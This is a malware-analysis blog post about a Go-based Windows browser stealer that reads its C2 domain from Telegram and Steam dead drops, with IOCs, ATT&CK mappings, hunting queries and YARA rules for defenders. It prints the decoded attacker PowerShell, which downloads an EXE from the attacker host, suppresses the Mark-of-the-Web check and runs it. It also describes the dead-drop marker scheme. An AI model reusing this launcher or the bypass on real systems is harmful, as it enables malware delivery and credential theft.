Post

Kovraxis: A Go Stealer That Reads Its C2 Address Off a Steam Profile

A Go-compiled Windows stealer hides its C2 address entirely, then reads it live from a Telegram channel bio and a Steam profile.

Kovraxis: A Go Stealer That Reads Its C2 Address Off a Steam Profile

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.

TL;DR

A hidden PowerShell one-liner drops a Go-compiled Windows implant that hides its C2 address from static analysis entirely - no domain, no IP, nothing in the strings. Instead it polls a throwaway Telegram channel bio and a Steam profile for a marked string, decodes a real C2 domain out of it (currently bkv.ambiltogel[.]net), then force-opens a hidden Edge window to harvest Login Data, Cookies, History and Web Data from the browser profile.

If this is your fleet, do these first:

  • Block outbound to kovraxis[.]com, bkv.ambiltogel[.]net and kijangturbo88[.]top
  • Alert on any process environment block containing SEE_MASK_NOZONECHECKS=1 - rare, high-signal
  • Hunt for a non-browser process writing Login Data / Cookies / Web Data / History-shaped SQLite files under a randomly-named %LOCALAPPDATA%\Temp\ subfolder

Full IOCs and YARA rules are at the bottom.

The most interesting artifact wasn’t in the binary

Another day, another ClickFix. This one got stopped at execution - blocked before it could do damage. But a blocked execution starts an investigation for me, it doesn’t end one: something wanted to run PowerShell here, and I wanted to know what it was trying to do. I’m seeing more of this ClickFix-into-stealer pattern lately.

I started the way I usually do: statically. And got nowhere - the Go implant on the other end links a full HTTP/TLS/JSON stack but carries no trace of a C2 domain or IP anywhere in its strings. Not encrypted, not encoded, not hidden - just not there. Usually that’s where the trail goes cold in a report.

So I switched to dynamic: fired up feintnet, my own DNS-spoofing, TLS-intercepting lab tool, and detonated the sample live. That’s where the payoff was - the implant doesn’t hardcode a C2 address because it doesn’t need one. It reads one off a public Telegram channel and a Steam profile every time it wants to talk home, and what it does next isn’t what the traffic shape first suggested.

If you’ve ever closed out a triage with “C2 destination: unresolved” and moved on, this is the case that’ll make you want to check one more thing first. Here’s the whole chain, then the parts worth slowing down for.

The attack at a glance

  1. Execution - a hidden PowerShell one-liner builds a download URL from a split domain string and pulls a 3.4MB Go binary to %TEMP%\x.exe.
  2. Defense evasion - SEE_MASK_NOZONECHECKS=1 skips the Mark-of-the-Web check that would otherwise trigger a SmartScreen warning.
  3. C2 resolution (dead drop) - no C2 address in the binary. It polls a Telegram channel bio and a Steam profile display name for a marked string and parses the real domain out of it.
  4. Command and control - connects to the resolved, Cloudflare-fronted domain over its own distinct TLS fingerprint.
  5. Collection - force-launches a hidden Edge window to initialize a browser profile, then stages Login Data, Cookies, History and Web Data.
  6. Exfiltration - uploads far more data over the C2 connection than the staged files account for, on a repeating cadence.

How it works

Stage 1 - a launcher that’s barely trying to hide

The PowerShell, decoded, is almost quaint:

1
2
3
4
5
$h = 'kovraxis[.]com'
$f = "$env:TEMP\x.exe"
Invoke-WebRequest 'hxxps://kovraxis[.]com/8845e127.exe' -OutFile $f -UseBasicParsing
$env:SEE_MASK_NOZONECHECKS = 1
& $f

Splitting the domain across two string literals dodges a naive plaintext-domain scan, but both strings sit in cleartext for anyone reading the command line. The line actually worth knowing is SEE_MASK_NOZONECHECKS=1 - a documented ShellExecuteEx flag that suppresses the Attachment Execution Service’s Mark-of-the-Web check. Set it before launching a child and that child runs as if it were always a local file, no “this came from the internet” warning in sight - a legitimate flag that’s also a gift to anyone skipping the one popup that might give a user pause.

Stage 2 - an implant that hides nothing except the one thing that matters

The dropped file is a Go 1.25.4 binary with an import table containing precisely kernel32.dll - normal for Go, which resolves almost everything itself via LoadLibraryW/GetProcAddress at runtime. String extraction shows it links net/http, crypto/tls, crypto/x509 and encoding/json - an HTTPS+JSON C2 client - plus API name strings for local account/share management, logon impersonation, and privilege adjustment. None of those extras fired across three detonations, but they’re carried in the binary and worth hunting for anyway.

I ran every regex I had for URLs, IPs, base64 blobs and hex-encoded keys against the full string dump. Nothing - and it turns out that blank isn’t just about the final C2. That’s the detail that should stop you before you write “no C2 capability found” in a report.

One more thing worth a dry laugh: the PE carries a self-signed Authenticode certificate claiming CN=anthropic.com - zero trust value regardless of the name on it, but a strange bit of theatre for a cert that gains the binary nothing.

Stage 3 - the dead drop

Detonating the sample under feintnet showed the implant beaconing every 2-4 seconds, alternating between two legitimate destinations: a Steam community profile and a Telegram short link. Every beacon carried an identical multipart/form-data body - a host fingerprint and a per-build ID, tagged format: json. Because feintnet spoofed DNS to itself, the implant never got a real answer and just retried forever - exactly the loop you’d expect from something waiting on a page it hasn’t received yet.

Here’s the part Stage 2 leaves hanging: if there’s no C2 in the binary, how does it even know to reach Steam and Telegram? It doesn’t hardcode those either - re-running the same string search once I knew what to look for turned up zero matches for steamcommunity[.]com, telegram[.]me, the profile path, or the hwid/build_id/format field names. Every network string here gets built at runtime, not just the eventual C2. A stdlib-only Go binary with zero plaintext network strings anywhere is a strong tell for compile-time string obfuscation (think garble), not “no C2 capability.”

Checking both pages directly (passive page views only) confirmed it: a 1-subscriber Telegram channel and a Level 0, empty Steam account, each set to one line of text:

1
gw3n9 bkv.ambiltogel[.]net|

Fixed marker, real domain, pipe terminator - on two platforms, so losing one account doesn’t break resolution. It’s a clean, cheap dead-drop resolver: point the implant at infrastructure the operator doesn’t maintain, and rotate C2 by editing a bio field instead of shipping a new build.

Stage 4 - what it actually does once it can talk

A correctly-scoped capture on a later run showed the implant resolving bkv.ambiltogel[.]net and connecting for real, over six TLS connections with a distinct JA3/JA4 fingerprint. Seconds either side of that handshake it spawned a hidden msedge.exe --no-first-run --disable-gpu about:blank, wrote five files (51,200 / 51,200 / 69,632 / 229,376 / 262,144 bytes) into a randomly-named temp subfolder, read them straight back into memory, and deleted all five within about a second.

Sysmon archive recovery identified all five: Microsoft Edge’s own Login Data, Cookies, History and Web Data profile databases - the exact target set of a Chromium credential/data stealer. Every table came back empty: the VM had a fresh Edge profile, and Edge only creates these files on first launch - which is why the implant force-opens a hidden, disabled-GPU Edge window first. Not a decoy window - it’s building the vault it’s about to steal from.

The traffic doesn’t match a “grab the files, ship them” model either: upload outweighed download by 20-60x - 12MB up against 648KB of harvested content. Something else is being uploaded. Without a decrypted capture I can’t say what, but the shape alone is enough to call this active exfiltration, not a one-way module fetch.

Techniques observed (MITRE ATT&CK)

The following techniques have been mapped to MITRE ATT&CK for future reference.

TacticTechniqueATT&CK IDWhat it did here
ExecutionPowerShellT1059.001Hidden, -ep bypass launcher
Defense EvasionSubvert Trust Controls: Mark-of-the-Web BypassT1553.005SEE_MASK_NOZONECHECKS=1 before running the dropped EXE
Command and ControlIngress Tool TransferT1105Downloaded the Go implant over HTTPS
Command and ControlWeb Service: Dead Drop ResolverT1102.001Read the real C2 domain from a Telegram bio and a Steam display name
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001HTTPS+JSON client to the resolved domain
CollectionCredentials from Password Stores: Credentials from Web BrowsersT1555.003Staged Edge’s Login Data
CollectionSteal Web Session Cookie / Data from Local SystemT1539 / T1005Staged Edge’s Cookies, History, Web Data (autofill/payment)
Discovery / Persistence (carried, not observed executing)Create Account: Local Account / Account Access RemovalT1136.001 / T1531API strings for NetUserAdd/NetUserDel/NetShareAdd present; never exercised across three runs

Why this matters

Strip away the cleverness and this is a full browser-vault harvester with a C2 channel that’s hard to block: the dead-drop lookups go to Steam and Telegram, which almost nobody blocks, and the C2 domain sits behind Cloudflare, hiding the real origin even once resolved. Against a real browser profile that’s credentials, session tokens and financial data leaving the network in one pass - and the account/share-management API strings it carries but hasn’t used yet could turn “stole some passwords” into “created a persistence foothold”.

I’m not going to guess who’s behind this. The recovered domains follow a naming pattern (ambiltogel, kijangturbo88) common to Indonesian gambling-spam infrastructure - a well-documented, disposable domain ecosystem

  • but that’s a pattern in names, not an attribution. Cheap, blend-in infrastructure is what you’d choose if you wanted your traffic to look like noise.

What defenders can do

Technique (ATT&CK)What to doEssential EightWhat to hunt for
PowerShell launcher (T1059.001)Constrained Language Mode; block .ps1 execution from user-writable paths via WDAC/AppLockerApplication Control; Securing PowerShell in the EnterpriseScript Block Logging - Event ID 4104; process creation (4688) for powershell.exe -w hidden -ep bypass
MOTW/SmartScreen bypass (T1553.005)Application Control blocking unsigned/unapproved executables makes the MOTW bypass irrelevant - the payload never runs regardlessApplication ControlProcess creation events where the environment block contains SEE_MASK_NOZONECHECKS=1 - rare enough to be near-zero-noise
Dead-drop C2 resolver via Steam/Telegram (T1102.001)No clean Essential Eight home - category/reputation filtering won’t touch legitimate platformsn/a - pivot to network architecture and detectionTLS JA3/JA4 fingerprinting independent of destination domain; proxy logs for repeating multipart POSTs carrying hwid/build_id/format fields to social platforms
HTTPS C2 to a Cloudflare-fronted domain (T1071.001)No clean Essential Eight homen/a - pivot to egress architectureFlag newly-registered domains (WHOIS creation date under ~12 months) resolving immediately before a long-lived, upload-heavy connection
Browser credential/cookie/autofill theft (T1555.003 / T1539 / T1005)Once code is running as the logged-in user, DPAPI-protected browser storage doesn’t stop it - the load-bearing control is preventing execution in the first placeApplication Control; Restricting Administrative PrivilegesAny non-browser process creating files named or shaped like Login Data, Cookies, Web Data, History inside a randomly-named %LOCALAPPDATA%\Temp\ subfolder; a hidden msedge.exe --disable-gpu about:blank spawned by a non-Explorer parent
Latent local account/share APIs (T1136.001 / T1531)Least-privilege on account/share creation rights; don’t assume “not observed” means “not capable”Restricting Administrative PrivilegesEvent ID 4720 (user created) or 5142 (share created) shortly after a powershell.exe -> unsigned/self-signed .exe chain

Three of these pairings (MOTW bypass, browser data theft, latent account/share APIs) aren’t literal rows in the canonical lookup table - my own extension of Application Control and Restrict Admin Privileges, not a pre-existing mapping.

PowerShell launcher + MOTW bypass (T1059.001, T1553.005). Constrained Language Mode and blocking .ps1 from user-writable paths via WDAC/AppLocker stops the loader outright - Application Control is the strategy here (see Securing PowerShell in the Enterprise, October 2021). The MOTW bypass needs no separate control: block the payload and the SmartScreen popup is moot. Watch Script Block Logging (Event ID 4104) and any process environment containing SEE_MASK_NOZONECHECKS=1.

Dead-drop C2 + HTTPS beaconing (T1102.001, T1071.001). Neither has a clean Essential Eight home - category filtering won’t touch Steam or Telegram, and Cloudflare fronting defeats simple IP blocking. JA3/JA4 fingerprinting survives domain rotation; flagging newly-registered domains ahead of a long-lived, upload-heavy connection helps. See Strategies to Mitigate Cyber Security Incidents - Mitigation Details (February 2017) for what E8 doesn’t cover.

Browser data theft (T1555.003, T1539, T1005). DPAPI-protected browser storage doesn’t stop code running as the logged-in user - preventing execution is the load-bearing control, via Application Control and Restricting Administrative Privileges (November 2023). Detection is the fallback: alert on a non-browser process creating Login Data/Cookies/Web Data/History-shaped files, or a hidden msedge.exe --disable-gpu about:blank spawned by a non-Explorer parent.

Latent local account/share APIs (T1136.001, T1531). Never fired, but carried - “not observed” isn’t “not capable”. Least-privilege on account/share creation rights bounds the blast radius. Hunt Event ID 4720 (user created) or 5142 (share created) after a powershell.exe -> unsigned .exe chain.

Hunting and detection summary

  • Outbound to kovraxis[.]com, bkv.ambiltogel[.]net, kijangturbo88[.]top, or IPs 104.21.88[.]153 / 172.67.223[.]178
  • Process environment block containing SEE_MASK_NOZONECHECKS=1; file creation of %TEMP%\x.exe or any unsigned .exe dropped and run from %TEMP%
  • A non-browser process writing SQLite-header files shaped like Edge’s Login Data/Cookies/Web Data/History under a randomly-named %LOCALAPPDATA%\Temp\ subfolder, read back and deleted within ~1 second; or a hidden msedge.exe --no-first-run --disable-gpu about:blank spawned by a non-Explorer parent
  • Repeating multipart/form-data POSTs to steamcommunity[.]com/profiles/* or telegram[.]me/* carrying hwid/build_id/format fields - neither legitimate client produces this shape
  • TLS JA3 8b5744d30eff42f9d3def9992336d0a0 / JA4 t12d180800_4b22cbed5bed_7af1ed941c26 (dead-drop lookups) and JA3 258a5a1e95b8a911872bae9081526644 (bulk C2 channel) - survives domain rotation
  • Any binary self-signed with a Subject/Issuer CN matching a real company domain while failing chain validation - cheap, high-confidence, regardless of which company gets spoofed
  • Sysmon Event ID 23 (FileDelete, archiving variant) may still hold the bytes of files this implant thought it deleted

The YARA rules, KQL queries, and full IOC list for this campaign are also available in the companion detection repo.

Indicators of Compromise

Network

TypeIndicatorNotes
Domainkovraxis[.]comStaging/download host
URLhxxps://kovraxis[.]com/8845e127.exePayload download
Domain (C2, corrected)bkv.ambiltogel[.]netLive C2, SNI-confirmed; supersedes the bare ambiltogel[.]net reading
Domain (reserve/failover)kijangturbo88[.]topRegistered + delegated to Cloudflare; no active DNS records at time of check
IP104.21.88[.]153Cloudflare-fronted; confirmed live connection to the C2
IP172.67.223[.]178Second Cloudflare A-record for the same C2, resolved by the implant’s own DNS query
Dead-drop URLhxxps://telegram[.]me/r7t3at1-subscriber channel; bio hosts the resolver marker
Dead-drop URLhxxps://steamcommunity[.]com/profiles/76561198674661449Level 0, empty account; display name hosts the resolver marker
IP (Telegram, real)149.154.167[.]99Genuine Telegram datacenter IP, concurrent with the file-staging activity; purpose unresolved

Host

TypeIndicatorNotes
Dropped file%TEMP%\x.exeHardcoded destination in the launcher
Process env flagSEE_MASK_NOZONECHECKS=1MOTW/SmartScreen suppression
Staged files5x fixed-size files (51,200 / 51,200 / 69,632 / 229,376 / 262,144 bytes) in a randomly-named %LOCALAPPDATA%\Temp\<8-hex>\ folderEdge Login Data (x2), Cookies, History, Web Data - written, read back, deleted within ~1 second
Decoy/staging processmsedge.exe --no-first-run --disable-gpu about:blankForce-initializes the Edge profile before theft
Resolver markergw3n9 prefix, \| terminatorFixed pattern the implant’s parser searches for on the dead-drop pages

Hashes / build

TypeValueNotes
SHA256a3714081253eee3bf9d64e58e6967a66362d02a443c2fa06a337949c69bbc2a1Dropped Go implant
MD5eee4452ba0331cc6c3e960b6ff426aeeSame file
Go Build IDI6DRylj2H9MnFCTS6Ttg/7fKy-qHPhBTyYaVQ8_aA/z86uF5I3lkY4LzclL0QM/2FqBXb2IT_GGG-QL8_BnUnique per compilation; pivot if the actor reuses a build pipeline
Go module pathEfNHLACDlOuyogU/main.goRandomized-looking build-obfuscation artifact
Beacon build_id3429037a9d0fee48cfcb7029464941bdConstant across all observed beacons for this build - direct compromise indicator
Fake Authenticode signerCN=anthropic.com,O=mkbmL63p,L=a9SYM,ST=O87TPHy,C=USSelf-signed, zero trust value; notable identity-spoof artifact

Detection rules

rule Kovraxis_PowerShell_Downloader
{
    meta:
        description = "PowerShell downloader: string-split domain, SEE_MASK_NOZONECHECKS MOTW bypass, drops and runs a fetched EXE"
        author = "blueteam.cool"
        date = "2026-07-16"

    strings:
        $a = "SEE_MASK_NOZONECHECKS" ascii wide
        $b = "Invoke-WebRequest" ascii wide
        $c = "-UseBasicParsing" ascii wide
        $d = "kovraxis" ascii wide nocase

    condition:
        2 of ($a,$b,$c) or $d
}

rule Kovraxis_Go_Implant_8845e127
{
    meta:
        description = "Go-compiled Windows implant dropped by the kovraxis[.]com PowerShell downloader; stdlib-only HTTP/TLS/JSON + local account/share management API strings"
        author = "blueteam.cool"
        date = "2026-07-16"
        hash_sha256 = "a3714081253eee3bf9d64e58e6967a66362d02a443c2fa06a337949c69bbc2a1"

    strings:
        $buildid = "EfNHLACDlOuyogU/main.go" ascii
        $api1 = "NetUserAdd" ascii
        $api2 = "NetShareAdd" ascii
        $api3 = "RevertToSelf" ascii
        $cert = "anthropic.com" ascii wide
        $go   = "go1.25.4" ascii

    condition:
        uint16(0) == 0x5A4D and 3 of them
}

Closing

“No C2 address found in the binary” wasn’t a dead end here - it was the whole point. This was also a solid test of feintnet doing exactly what I built it for: spoof the DNS, intercept the TLS, watch where something is actually trying to go - and it worked. With how often this ClickFix-into-stealer pattern is turning up lately, a fast answer to “where does this reach out to” is going to keep paying off. Reading a C2 domain off a Steam profile and a Telegram bio makes your infrastructure look like noise, and I’ve got a soft spot for attackers who abuse cheap, legitimate plumbing instead of building their own. Stealing an empty browser vault because I never bothered to seed the lab VM with fake logins first is exactly the kind of anticlimax that makes this job fun. Stay curious.


On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.

References

This post is licensed under CC BY 4.0 by the author.